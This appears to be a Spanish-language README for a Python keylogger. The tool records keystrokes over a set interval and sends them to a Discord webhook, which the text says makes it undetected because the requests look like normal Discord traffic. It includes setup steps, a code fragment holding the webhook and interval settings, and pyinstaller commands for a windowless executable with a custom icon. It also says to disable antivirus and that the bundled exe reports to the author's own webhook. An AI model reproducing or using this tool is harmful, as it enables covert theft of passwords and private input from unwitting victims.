Este script de python capturara todas las teclas apretadas durante una ventana de tiempo predefinida y las reportara a un servidor de Discord por medio de Webhooks. a diferencia de los metodos tradicionales como "Guardar en un txt" o "Enviar a un email", este metodo permanece indetectado ya que los request de webhook son considerados trafico normal de Discord.
- Tener Python instalado en su maquina, descargar el lenguaje desde aca.
- Crear una cuenta de discord, como hacerlo aca
python -m pip install -r requirements.txt
Puedes usar este articulo para ver como hacerlo.
Ingresa a la configuracion del servidor y selecciona Intergrations >> Webhooks y crear un nuevo Webhook, se lo puede customizar y darle un nombre y un icono. Es necesario copiar al URL del webhook.
Ahora que poseemos el webhook podemos editar el script en python. Debemos añadir la url al archivo y asegurarnos de colocar el timeframe en el cual deseamos que el kelogger haga los reportes.
import keyboard,os
from threading import Timer
from datetime import datetime
from discord_webhook import DiscordWebhook, DiscordEmbed
SEND_REPORT_EVERY = "TIEMPO_EN_SEGUNDOS_ACA" # Este sin comillas
WEBHOOK = "URL_DEL_WEBHOOK_ACA"
Una vez hecho eso, podremos ejecutar el script correctamente. Para ejecutar el script solo debemos colocar esto en la terminal:
python keylogger.py
si todo sale bien deberiamos ver el reporte en discord despues de esperar el tiempo establecido.
Para convertir el archivo en un ejecutable necesitaremos la libreria pyinstaller que fue incluida en el archivo requirements.txt. Debemos abrir una terminal en el directorio donde se encuentre el archivo.
pyinstaller keylogger.py --onefile --noconsole
Por si desea un icono custom para el exe.
pyinstaller keylogger.py --onefile --noconsole --icon=ejemplo.ico
Si se desea crear un instalador para el programa podemos seguir este tutorial
- (Es necesario desactivar el windows defender/antivirus para probrar el programa)
- (El exe incluido en este repositorio posee un webhook propio por lo que si lo ejecutan yo recibire los reportes)